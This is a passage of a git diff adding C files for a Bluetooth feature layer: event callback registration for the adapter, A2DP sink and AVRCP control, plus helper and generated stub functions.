system_bluetooth_btMalloconBondStateChangeData(); + if (!data) { + continue; + } + + bt_addr_ba2str(addr, addr_str); + data->deviceId = StringToFtString(addr_str); + data->bondState = state; + + feature_bluetooth_post_task(feature_callback->feature_ins, feature_callback->on_bond_state_changed_cb_id, data); + node = bt_list_next(callbacks, node); + } + uv_mutex_unlock(&features_callbacks->mutex); +} + +const static adapter_callbacks_t g_adapter_cbs = { + .on_adapter_state_changed = on_adapter_state_changed_cb, + .on_discovery_state_changed = on_discovery_state_changed_cb, + .on_discovery_result = on_discovery_result_cb, + .on_bond_state_changed = on_bond_state_changed_cb, +}; + +static void a2dp_sink_connection_state_cb(void* cookie, bt_address_t* addr, profile_connection_state_t state) +{ + bt_instance_t* bt_ins = (bt_instance_t*)cookie; + feature_bluetooth_features_info_t* features_callbacks; + bt_list_t* callbacks; + bt_list_node_t* node; + + FEATURE_LOG_DEBUG("a2dp sink connection state cb"); + if (!bt_ins) { + return; + } + + features_callbacks = (feature_bluetooth_features_info_t*)bt_ins->context; + if (!features_callbacks) { + return; + } + + uv_mutex_lock(&features_callbacks->mutex); + callbacks = features_callbacks->feature_a2dp_sink_callbacks; + if (!callbacks) { + uv_mutex_unlock(&features_callbacks->mutex); + return; + } + + node = bt_list_head(callbacks); + if (!node) { + uv_mutex_unlock(&features_callbacks->mutex); + return; + } + + while (node) { + feature_bluetooth_a2dp_sink_callbacks_t* feature_callback; + system_bluetooth_bt_a2dpsink_OnConnectStateChangeData* data; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + feature_callback = (feature_bluetooth_a2dp_sink_callbacks_t*)bt_list_node(node); + if (!feature_callback) { + break; + } + + FEATURE_LOG_DEBUG("feature:%p, callbackId:%d", feature_callback->feature_ins, feature_callback->a2dp_sink_connection_state_cb_id); + bt_addr_ba2str(addr, addr_str); + data = system_bluetooth_bt_a2dpsinkMallocOnConnectStateChangeData(); + if (!data) { + continue; + } + + data->deviceId = StringToFtString(addr_str); + data->connectState = state; + + feature_bluetooth_post_task(feature_callback->feature_ins, feature_callback->a2dp_sink_connection_state_cb_id, data); + node = bt_list_next(callbacks, node); + } + uv_mutex_unlock(&features_callbacks->mutex); +} + +static const a2dp_sink_callbacks_t a2dp_sink_cbs = { + sizeof(a2dp_sink_cbs), + a2dp_sink_connection_state_cb, +}; + +system_bluetooth_bt_avrcpcontrol_attr_info_t* get_attr_info(avrcp_element_attr_val_t* attr) +{ + system_bluetooth_bt_avrcpcontrol_attr_info_t* attr_info = system_bluetooth_bt_avrcpcontrolMallocattr_info_t(); + attr_info->attrId = attr->attr_id; + attr_info->chrSet = attr->chr_set; + attr_info->text = StringToFtString((char*)attr->text); + return attr_info; +} + +static void avrcp_control_get_element_attribute_cb(void* cookie, bt_address_t* addr, uint8_t attrs_count, avrcp_element_attr_val_t* attrs) +{ + int attr_index; + bt_instance_t* bt_ins = (bt_instance_t*)cookie; + feature_bluetooth_features_info_t* features_callbacks; + bt_list_t* callbacks; + bt_list_node_t* node; + + FEATURE_LOG_DEBUG("avrcp control element attribute cb"); + if (!bt_ins) { + return; + } + + features_callbacks = (feature_bluetooth_features_info_t*)bt_ins->context; + if (!features_callbacks) { + return; + } + + uv_mutex_lock(&features_callbacks->mutex); + callbacks = features_callbacks->feature_avrcp_control_callbacks; + if (!callbacks) { + uv_mutex_unlock(&features_callbacks->mutex); + return; + } + + node = bt_list_head(callbacks); + if (!node) { + uv_mutex_unlock(&features_callbacks->mutex); + return; + } + + while (node) { + feature_bluetooth_avrcp_control_callbacks_t* feature_callback; + system_bluetooth_bt_avrcpcontrol_OnElementAttributeData* data; + FtArray* attributes; + + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + feature_callback = (feature_bluetooth_avrcp_control_callbacks_t*)bt_list_node(node); + if (!feature_callback) { + break; + } + + FEATURE_LOG_DEBUG("feature:%p, callbackId:%d", feature_callback->feature_ins, feature_callback->avrcp_control_element_attribute_cb_id); + bt_addr_ba2str(addr, addr_str); + data = system_bluetooth_bt_avrcpcontrolMallocOnElementAttributeData(); + attributes = system_bluetooth_bt_avrcpcontrol_malloc_attr_info_t_struct_type_array(); + + if (!data || !attributes) { + continue; + } + + data->deviceId = StringToFtString(addr_str); + data->attrsCount = attrs_count; + attributes->_size = attrs_count; + attributes->_element = malloc(attributes->_size * sizeof(struct Attribute*)); + if (!attributes->_element) { + continue; + } + for (attr_index = 0; attr_index < attributes->_size; attr_index++) { + system_bluetooth_bt_avrcpcontrol_attr_info_t* attr_info = get_attr_info(&attrs[attr_index]); + ((system_bluetooth_bt_avrcpcontrol_attr_info_t**)attributes->_element)[attr_index] = attr_info; + } + + data->attrs = attributes; + + feature_bluetooth_post_task(feature_callback->feature_ins, feature_callback->avrcp_control_element_attribute_cb_id, data); + node = bt_list_next(callbacks, node); + } + uv_mutex_unlock(&features_callbacks->mutex); +} + +static const avrcp_control_callbacks_t avrcp_control_cbs = { + .size = sizeof(avrcp_control_cbs), + .get_element_attribute_cb = avrcp_control_get_element_attribute_cb, +}; + +void feature_bluetooth_add_feature_callback(FeatureInstanceHandle handle, feature_bluetooth_feature_type_t feature_type) +{ + bt_instance_t* bt_ins; + feature_bluetooth_features_info_t* features_callbacks; + + bt_ins = feature_bluetooth_get_bt_ins(handle); + if (!bt_ins) { + return; + } + + features_callbacks = (feature_bluetooth_features_info_t*)bt_ins->context; + + if (!features_callbacks) { + return; + } + + uv_mutex_lock(&features_callbacks->mutex); + switch (feature_type) { + case FEATURE_BLUETOOTH: + add_feature_callback(features_callbacks->feature_bluetooth_callbacks, feature_bluetooth_bluetooth_callbacks_t, handle); + break; + case FEATURE_BLUETOOTH_BT: + add_feature_callback(features_callbacks->feature_bluetooth_bt_callbacks, feature_bluetooth_bluetooth_bt_callbacks_t, handle); + break; +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + case FEATURE_BLUETOOTH_A2DPSINK: + add_feature_callback(features_callbacks->feature_a2dp_sink_callbacks, feature_bluetooth_a2dp_sink_callbacks_t, handle); + break; +#endif +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + case FEATURE_BLUETOOTH_AVRCPCONTROL: + add_feature_callback(features_callbacks->feature_avrcp_control_callbacks, feature_bluetooth_avrcp_control_callbacks_t, handle); + break; +#endif + default: + break; + } + uv_mutex_unlock(&features_callbacks->mutex); +} + +void feature_bluetooth_free_feature_callback(FeatureInstanceHandle handle, feature_bluetooth_feature_type_t feature_type) +{ + bt_instance_t* bt_ins; + feature_bluetooth_features_info_t* features_callbacks; + + bt_ins = feature_bluetooth_get_bt_ins(handle); + if (!bt_ins) { + return; + } + + features_callbacks = (feature_bluetooth_features_info_t*)bt_ins->context; + + if (!features_callbacks) { + return; + } + uv_mutex_lock(&features_callbacks->mutex); + switch (feature_type) { + case FEATURE_BLUETOOTH: + free_feature_callback(features_callbacks->feature_bluetooth_callbacks, handle, get_callback_bluetooth); + break; + case FEATURE_BLUETOOTH_BT: + free_feature_callback(features_callbacks->feature_bluetooth_bt_callbacks, handle, get_callback_bluetooth_bt); + break; +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + case FEATURE_BLUETOOTH_A2DPSINK: + free_feature_callback(features_callbacks->feature_a2dp_sink_callbacks, handle, get_callback_a2dp_sink); + break; +#endif +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + case FEATURE_BLUETOOTH_AVRCPCONTROL: + free_feature_callback(features_callbacks->feature_avrcp_control_callbacks, handle, get_callback_avrcp_control); + break; +#endif + default: + break; + } + uv_mutex_unlock(&features_callbacks->mutex); +} + +void feature_bluetooth_set_feature_callback(FeatureInstanceHandle handle, FtCallbackId callback_id, feature_bluetooth_callback_t callback_type) +{ + bt_instance_t* bt_ins; + feature_bluetooth_features_info_t* features_callbacks; + + bt_ins = feature_bluetooth_get_bt_ins(handle); + if (!bt_ins) { + return; + } + + features_callbacks = (feature_bluetooth_features_info_t*)bt_ins->context; + + if (!features_callbacks) { + return; + } + uv_mutex_lock(&features_callbacks->mutex); + switch (callback_type) { + case ON_ADAPTER_STATE_CHANGE: + set_feature_callback(features_callbacks->feature_bluetooth_callbacks, feature_bluetooth_bluetooth_callbacks_t, get_callback_bluetooth, handle, callback_id, on_adapter_state_changed_cb_id); + break; + case ON_DISCOVERY_RESULT: + set_feature_callback(features_callbacks->feature_bluetooth_bt_callbacks, feature_bluetooth_bluetooth_bt_callbacks_t, get_callback_bluetooth_bt, handle, callback_id, on_discovery_result_cb_id); + break; + case ON_BOND_STATE_CHANGE: + set_feature_callback(features_callbacks->feature_bluetooth_bt_callbacks, feature_bluetooth_bluetooth_bt_callbacks_t, get_callback_bluetooth_bt, handle, callback_id, on_bond_state_changed_cb_id); + break; +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + case A2DPSINK_ON_CONNECT_STATE_CHANGE: + set_feature_callback(features_callbacks->feature_a2dp_sink_callbacks, feature_bluetooth_a2dp_sink_callbacks_t, get_callback_a2dp_sink, handle, callback_id, a2dp_sink_connection_state_cb_id); + break; +#endif +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + case AVRCPCONTROL_ELEMENT_ATTRIBUTE_CALLBACK: + set_feature_callback(features_callbacks->feature_avrcp_control_callbacks, feature_bluetooth_avrcp_control_callbacks_t, get_callback_avrcp_control, handle, callback_id, avrcp_control_element_attribute_cb_id); + break; +#endif + default: + break; + } + uv_mutex_unlock(&features_callbacks->mutex); +} + +FtCallbackId feature_bluetooth_get_feature_callback(FeatureInstanceHandle handle, feature_bluetooth_callback_t callback_type) +{ + bt_instance_t* bt_ins; + feature_bluetooth_features_info_t* features_callbacks; + FtCallbackId callback_id = -1; + + bt_ins = feature_bluetooth_get_bt_ins(handle); + if (!bt_ins) { + return callback_id; + } + + features_callbacks = (feature_bluetooth_features_info_t*)bt_ins->context; + + if (!features_callbacks) { + return callback_id; + } + + uv_mutex_lock(&features_callbacks->mutex); + switch (callback_type) { + case ON_ADAPTER_STATE_CHANGE: + set_feature_callback(features_callbacks->feature_bluetooth_callbacks, feature_bluetooth_bluetooth_callbacks_t, get_callback_bluetooth, handle, callback_id, on_adapter_state_changed_cb_id); + break; + case ON_DISCOVERY_RESULT: + set_feature_callback(features_callbacks->feature_bluetooth_bt_callbacks, feature_bluetooth_bluetooth_bt_callbacks_t, get_callback_bluetooth_bt, handle, callback_id, on_discovery_result_cb_id); + break; + case ON_BOND_STATE_CHANGE: + set_feature_callback(features_callbacks->feature_bluetooth_bt_callbacks, feature_bluetooth_bluetooth_bt_callbacks_t, get_callback_bluetooth_bt, handle, callback_id, on_bond_state_changed_cb_id); + break; +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + case A2DPSINK_ON_CONNECT_STATE_CHANGE: + get_feature_callback(features_callbacks->feature_a2dp_sink_callbacks, feature_bluetooth_a2dp_sink_callbacks_t, get_callback_a2dp_sink, handle, callback_id, a2dp_sink_connection_state_cb_id); + break; +#endif +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + case AVRCPCONTROL_ELEMENT_ATTRIBUTE_CALLBACK: + get_feature_callback(features_callbacks->feature_avrcp_control_callbacks, feature_bluetooth_avrcp_control_callbacks_t, get_callback_avrcp_control, handle, callback_id, avrcp_control_element_attribute_cb_id); + break; +#endif + default: + break; + } + uv_mutex_unlock(&features_callbacks->mutex); + return callback_id; +} + +void feature_bluetooth_callback_init(bt_instance_t* bt_ins) +{ + feature_bluetooth_features_info_t* features_callbacks; + + if (!bt_ins) { + return; + } + + features_callbacks = (feature_bluetooth_features_info_t*)calloc(1, sizeof(feature_bluetooth_features_info_t)); + + assert(features_callbacks); + + uv_mutex_init(&features_callbacks->mutex); + + features_callbacks->feature_bluetooth_callbacks = bt_list_new(free_feature_bluetooth_node); + features_callbacks->feature_bluetooth_bt_callbacks = bt_list_new(free_feature_bluetooth_bt_node); + + bt_ins->adapter_cookie = bt_adapter_register_callback(bt_ins, &g_adapter_cbs); + +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + features_callbacks->feature_a2dp_sink_callbacks = bt_list_new(free_feature_bluetooth_a2dp_sink_node); + bt_ins->a2dp_sink_cookie = bt_a2dp_sink_register_callbacks(bt_ins, &a2dp_sink_cbs); +#endif + +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + features_callbacks->feature_avrcp_control_callbacks = bt_list_new(free_feature_bluetooth_avrcp_control_node); + bt_ins->avrcp_control_cookie = bt_avrcp_control_register_callbacks(bt_ins, &avrcp_control_cbs); +#endif + + bt_ins->context = features_callbacks; +} + +void feature_bluetooth_callback_uninit(bt_instance_t* bt_ins) +{ + feature_bluetooth_features_info_t* features_callbacks; + + if (!bt_ins) { + return; + } + + features_callbacks = bt_ins->context; + bt_ins->context = NULL; + if (!features_callbacks) { + return; + } + + bt_adapter_unregister_callback(bt_ins, bt_ins->adapter_cookie); +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + bt_a2dp_sink_unregister_callbacks(bt_ins, bt_ins->a2dp_sink_cookie); +#endif + +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + bt_avrcp_control_unregister_callbacks(bt_ins, bt_ins->avrcp_control_cookie); +#endif + + uv_mutex_lock(&features_callbacks->mutex); + bt_list_free(features_callbacks->feature_bluetooth_callbacks); + bt_list_free(features_callbacks->feature_bluetooth_bt_callbacks); +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + bt_list_free(features_callbacks->feature_a2dp_sink_callbacks); +#endif +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + bt_list_free(features_callbacks->feature_avrcp_control_callbacks); +#endif + uv_mutex_unlock(&features_callbacks->mutex); + + uv_mutex_destroy(&features_callbacks->mutex); + free(features_callbacks); +} \ No newline at end of file diff --git a/feature/src/feature_bluetooth_util.c b/feature/src/feature_bluetooth_util.c new file mode 100644 index 0000000000000000000000000000000000000000..1381177aa2bdf8ca4b73a1e1d83ccebedca4219f --- /dev/null +++ b/feature/src/feature_bluetooth_util.c @@ -0,0 +1,170 @@ +/* + * Copyright (C) 2024 Xiaomi Corporation. All rights reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#include "feature_bluetooth.h" +#include "feature_log.h" +#include <kvdb.h> + +#define KVDB_USE_FEATURE "persist.using_bluetooth_feature" + +static void free_callback_info(callback_info_t* info) +{ + if (info->data) + FeatureFreeValue(info->data); + + free(info); +} + +void feature_bluetooth_deal_callback(int status, void* data) +{ + callback_info_t* info = (callback_info_t*)data; + FEATURE_LOG_DEBUG("callback type:%d, feature:%p, callback id: %d", info->callback_id, info->feature, info->feature_callback_id); + if (!FeatureCheckCallbackId(info->feature, info->feature_callback_id)) { + goto freeData; + } + + if (!FeatureInvokeCallback(info->feature, info->feature_callback_id, info->data)) { + FEATURE_LOG_ERROR("feature:%p, callback id: %d, invoke discoveryresult callback failed!", + info->feature, info->feature_callback_id); + } + +freeData: + free_callback_info(info); +} + +void feature_bluetooth_remove_callback(int status, void* data) +{ + callback_info_t* info = (callback_info_t*)data; + FEATURE_LOG_DEBUG("remove callback, feature:%p, callback id: %d", info->feature, info->feature_callback_id); + FeatureRemoveCallback(info->feature, info->feature_callback_id); + + free_callback_info(info); +} + +void feature_bluetooth_post_task(FeatureInstanceHandle handle, FtCallbackId callback_id, void* data) +{ + callback_info_t* callback_info; + + callback_info = (callback_info_t*)calloc(1, sizeof(callback_info_t)); + if (!callback_info) { + if (data) + FeatureFreeValue(data); + return; + } + + callback_info->feature_callback_id = callback_id; + callback_info->feature = handle; + callback_info->data = data; + if (!FeaturePost(handle, feature_bluetooth_deal_callback, callback_info)) { + FEATURE_LOG_WARN("feature:%p, callback id: %d, post callback failed!", handle, callback_id); + free_callback_info(callback_info); + } +} + +char* StringToFtString(const char* str) +{ + if (!str) { + return NULL; + } + int len = strlen(str); + char* ftStr = (char*)FeatureMalloc(len + 1, FT_CHAR); + strcpy(ftStr, str); + return ftStr; +} + +static bool feature_bluetooth_using_feature() +{ + static int using_bluetoothd_feature = -1; + + if (using_bluetoothd_feature == -1) { + using_bluetoothd_feature = property_get_bool(KVDB_USE_FEATURE, 1); + } + + return using_bluetoothd_feature; +} + +void feature_bluetooth_init_bt_ins(feature_bluetooth_feature_type_t feature, FeatureProtoHandle handle) +{ + bt_instance_t* bluetooth_ins; + + if (!feature_bluetooth_using_feature()) { + FeatureSetProtoData(handle, NULL); + return; + } + + bluetooth_ins = bluetooth_get_instance(); + + if (bluetooth_ins == NULL) { + FEATURE_LOG_ERROR("Failed to get Bluetooth instance."); + return; + } + + if (bluetooth_ins->context == NULL) { + feature_bluetooth_callback_init(bluetooth_ins); + } + + ((feature_bluetooth_features_info_t*)bluetooth_ins->context)->created_features |= (1UL << feature); + + FeatureSetProtoData(handle, bluetooth_ins); +} + +void feature_bluetooth_uninit_bt_ins(feature_bluetooth_feature_type_t feature, FeatureProtoHandle handle) +{ + bt_instance_t* bluetooth_ins; + feature_bluetooth_features_info_t* features_info; + + if (!feature_bluetooth_using_feature()) { + return; + } + + FeatureSetProtoData(handle, NULL); + + bluetooth_ins = bluetooth_find_instance(getpid()); + + if (bluetooth_ins == NULL) { + FEATURE_LOG_ERROR("Bluetooth instance not found."); + return; + } + + features_info = (feature_bluetooth_features_info_t*)bluetooth_ins->context; + + if (!features_info) { + FEATURE_LOG_ERROR("Feature context not found."); + return; + } + + features_info->created_features &= ~(1UL << feature); + + if (features_info->created_features) { + return; + } + + feature_bluetooth_callback_uninit(bluetooth_ins); + bluetooth_delete_instance(bluetooth_ins); +} + +void feature_bluetooth_set_bt_ins(FeatureProtoHandle protoHandle) +{ + bt_instance_t* bluetooth_ins = bluetooth_get_instance(); + FeatureSetProtoData(protoHandle, bluetooth_ins); +} + +bt_instance_t* feature_bluetooth_get_bt_ins(FeatureInstanceHandle feature) +{ + FeatureProtoHandle protoHandle = FeatureGetProtoHandle(feature); + return FeatureGetProtoData(protoHandle); +} \ No newline at end of file diff --git a/feature/src/system_bluetooth_bt_a2dpsink_impl.c b/feature/src/system_bluetooth_bt_a2dpsink_impl.c new file mode 100644 index 0000000000000000000000000000000000000000..05900d3f17e1910677759af2f0cba6c44c6ceb3f --- /dev/null +++ b/feature/src/system_bluetooth_bt_a2dpsink_impl.c @@ -0,0 +1,70 @@ +/* + * This file is auto-generated by jsongensource.py, Do not modify it directly! + */ + +/* + * Copyright (C) 2023 Xiaomi Corporation. All rights reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ +#include "bt_a2dp_sink.h" +#include "feature_bluetooth.h" +#include "system_bluetooth_bt_a2dpsink.h" + +#define file_tag "system_bluetooth_bt_a2dpsnk" + +void system_bluetooth_bt_a2dpsink_onRegister(const char* feature_name) +{ + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_bt_a2dpsink_onCreate(FeatureRuntimeContext ctx, FeatureProtoHandle handle) +{ + feature_bluetooth_init_bt_ins(FEATURE_BLUETOOTH_A2DPSINK, handle); + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_bt_a2dpsink_onRequired(FeatureRuntimeContext ctx, FeatureInstanceHandle handle) +{ + feature_bluetooth_add_feature_callback(handle, FEATURE_BLUETOOTH_A2DPSINK); + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_bt_a2dpsink_onDetached(FeatureRuntimeContext ctx, FeatureInstanceHandle handle) +{ + feature_bluetooth_free_feature_callback(handle, FEATURE_BLUETOOTH_A2DPSINK); + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_bt_a2dpsink_onDestroy(FeatureRuntimeContext ctx, FeatureProtoHandle handle) +{ + feature_bluetooth_uninit_bt_ins(FEATURE_BLUETOOTH_A2DPSINK, handle); + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_bt_a2dpsink_onUnregister(const char* feature_name) +{ + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +FtCallbackId system_bluetooth_bt_a2dpsink_get_onconnectstatechange(void* feature, AppendData append_data) +{ + return feature_bluetooth_get_feature_callback(feature, A2DPSINK_ON_CONNECT_STATE_CHANGE); +} + +void system_bluetooth_bt_a2dpsink_set_onconnectstatechange(void* feature, AppendData append_data, FtCallbackId onconnectstatechange) +{ + FEATURE_LOG_DEBUG("set on a2dpsink set on connect state change callback: %p, callbackId: %d", feature, onconnectstatechange); + feature_bluetooth_set_feature_callback(feature, onconnectstatechange, A2DPSINK_ON_CONNECT_STATE_CHANGE); +} diff --git a/feature/src/system_bluetooth_bt_avrcpcontrol_impl.c b/feature/src/system_bluetooth_bt_avrcpcontrol_impl.c new file mode 100644 index 0000000000000000000000000000000000000000..78648e354d42fe1b43f7bb39f8539202eaf0eb18 --- /dev/null +++ b/feature/src/system_bluetooth_bt_avrcpcontrol_impl.c @@ -0,0 +1,103 @@ +/* + * This file is auto-generated by jsongensource.py, Do not modify it directly! + */ + +/* + * Copyright (C) 2024 Xiaomi Corporation. All rights reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ +#include "bt_avrcp_control.h" +#include "feature_bluetooth.h" +#include "system_bluetooth_bt_avrcpcontrol.h" + +#define file_tag "system_bluetooth_bt_avrcpcontrol" + +void system_bluetooth_bt_avrcpcontrol_onRegister(const char* feature_name) +{ + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_bt_avrcpcontrol_onCreate(FeatureRuntimeContext ctx, FeatureProtoHandle handle) +{ + feature_bluetooth_init_bt_ins(FEATURE_BLUETOOTH_AVRCPCONTROL, handle); + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_bt_avrcpcontrol_onRequired(FeatureRuntimeContext ctx, FeatureInstanceHandle handle) +{ + feature_bluetooth_add_feature_callback(handle, FEATURE_BLUETOOTH_AVRCPCONTROL); + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_bt_avrcpcontrol_onDetached(FeatureRuntimeContext ctx, FeatureInstanceHandle handle) +{ + feature_bluetooth_free_feature_callback(handle, FEATURE_BLUETOOTH_AVRCPCONTROL); + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_bt_avrcpcontrol_onDestroy(FeatureRuntimeContext ctx, FeatureProtoHandle handle) +{ + feature_bluetooth_uninit_bt_ins(FEATURE_BLUETOOTH_AVRCPCONTROL, handle); + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_bt_avrcpcontrol_onUnregister(const char* feature_name) +{ + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +FtCallbackId system_bluetooth_bt_avrcpcontrol_get_onElementattribute(void* feature, union AppendData append_data) +{ + return feature_bluetooth_get_feature_callback(feature, AVRCPCONTROL_ELEMENT_ATTRIBUTE_CALLBACK); +} + +void system_bluetooth_bt_avrcpcontrol_set_onElementattribute(void* feature, union AppendData append_data, FtCallbackId onElementattribute) +{ + FEATURE_LOG_DEBUG("set on avrcpcontrol set element attribute callback: %p, callbackId: %d", feature, onElementattribute); + feature_bluetooth_set_feature_callback(feature, onElementattribute, AVRCPCONTROL_ELEMENT_ATTRIBUTE_CALLBACK); +} + +void system_bluetooth_bt_avrcpcontrol_wrap_startGetElementAttribute(FeatureInstanceHandle feature, union AppendData append_data, system_bluetooth_bt_avrcpcontrol_StartGetElementAttributeParams* params) +{ + bt_address_t addr; + bt_status_t status; + + if (bt_addr_str2ba(params->deviceId, &addr) < 0) { + if (!FeatureInvokeCallback(feature, params->fail, "invalid addr!", BT_STATUS_PARM_INVALID)) { + FEATURE_LOG_ERROR("invoke get element attribute fail callback failed!"); + } + goto COMPLETE_CALLBACK; + } + + status = bt_avrcp_control_get_element_attributes(feature_bluetooth_get_bt_ins(feature), &addr); + + if (status == BT_STATUS_SUCCESS) { + if (!FeatureInvokeCallback(feature, params->success)) { + FEATURE_LOG_ERROR("invoke get element attribute success failed!"); + } + } else { + if (!FeatureInvokeCallback(feature, params->fail, "get element attribute failed!", status)) { + FEATURE_LOG_ERROR("invoke get element attribute fail callback failed!"); + } + } +COMPLETE_CALLBACK: + if (!FeatureInvokeCallback(feature, params->complete)) { + FEATURE_LOG_ERROR("invoke disconnect complete callback failed!"); + } + + FeatureRemoveCallback(feature, params->success); + FeatureRemoveCallback(feature, params->fail); + FeatureRemoveCallback(feature, params->complete); +} \ No newline at end of file diff --git a/feature/src/system_bluetooth_bt_impl.c b/feature/src/system_bluetooth_bt_impl.c new file mode 100644 index 0000000000000000000000000000000000000000..0543dbb98df8dff7743d08655a8778b65c27d11e --- /dev/null +++ b/feature/src/system_bluetooth_bt_impl.c @@ -0,0 +1,457 @@ +/* + * This file is auto-generated by jsongensource.py, Do not modify it directly! + */ + +/* + * Copyright (C) 2023 Xiaomi Corporation. All rights reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ +#include "bluetooth.h" +#include "bt_a2dp_sink.h" +#include "bt_a2dp_source.h" +#include "bt_adapter.h" +#include "bt_hfp_ag.h" +#include "bt_hfp_hf.h" +#include "bt_hid_device.h" +#include "bt_pan.h" +#include "feature_bluetooth.h" +#include "system_bluetooth_bt.h" + +#define file_tag "system_bluetooth_bt" + +static bool bt_feature_allocator(void** data, uint32_t size) +{ + *data = malloc(size); + if (!(*data)) + return false; + + return true; +} + +static bt_status_t bluetooth_connect_profiles(FeatureInstanceHandle feature, bt_address_t* addr, feature_bluetooth_profile_t profile_id) +{ + bt_status_t status = BT_STATUS_SUCCESS; + bt_instance_t* bt_ins = feature_bluetooth_get_bt_ins(feature); + if (!bt_ins) { + return BT_STATUS_FAIL; + } + + switch (profile_id) { + case A2DP_SINK: +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + status = bt_a2dp_sink_connect(bt_ins, addr); +#endif + break; + case A2DP_SOURCE: +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + status = bt_a2dp_source_connect(bt_ins, addr); +#endif + break; + case HFP_AG: +#ifdef CONFIG_BLUETOOTH_HFP_AG + status = bt_hfp_ag_connect(bt_ins, addr); +#endif + break; + case HFP_HF: +#ifdef CONFIG_BLUETOOTH_HFP_HF + status = bt_hfp_hf_connect(bt_ins, addr); +#endif + break; + case HID_DEVICE: +#ifdef CONFIG_BLUETOOTH_HID_DEVICE + status = bt_hid_device_connect(bt_ins, addr); +#endif + break; + case PAN_USE: +#ifdef CONFIG_BLUETOOTH_PAN + status = bt_pan_connect(bt_ins, addr); +#endif + break; + default: + status = BT_STATUS_NOT_SUPPORTED; + break; + } + return status; +} + +static bt_status_t bluetooth_disconnect_profiles(FeatureInstanceHandle feature, bt_address_t* addr, feature_bluetooth_profile_t profile_id) +{ + bt_status_t status = BT_STATUS_SUCCESS; + bt_instance_t* bt_ins = feature_bluetooth_get_bt_ins(feature); + if (!bt_ins) { + return BT_STATUS_FAIL; + } + + switch (profile_id) { + case A2DP_SINK: +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + status = bt_a2dp_sink_disconnect(bt_ins, addr); +#endif + break; + case A2DP_SOURCE: +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + status = bt_a2dp_source_disconnect(bt_ins, addr); +#endif + break; + case HFP_AG: +#ifdef CONFIG_BLUETOOTH_HFP_AG + status = bt_hfp_ag_disconnect(bt_ins, addr); +#endif + break; + case HFP_HF: +#ifdef CONFIG_BLUETOOTH_HFP_HF + status = bt_hfp_hf_disconnect(bt_ins, addr); +#endif + break; + case HID_DEVICE: +#ifdef CONFIG_BLUETOOTH_HID_DEVICE + status = bt_hid_device_disconnect(bt_ins, addr); +#endif + break; + case PAN_USE: +#ifdef CONFIG_BLUETOOTH_PAN + status = bt_pan_disconnect(bt_ins, addr); +#endif + break; + default: + status = BT_STATUS_NOT_SUPPORTED; + break; + } + return status; +} + +void system_bluetooth_bt_onRegister(const char* feature_name) +{ + FEATURE_LOG_DEBUG("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_bt_onCreate(FeatureRuntimeContext ctx, FeatureProtoHandle handle) +{ + feature_bluetooth_init_bt_ins(FEATURE_BLUETOOTH_BT, handle); + 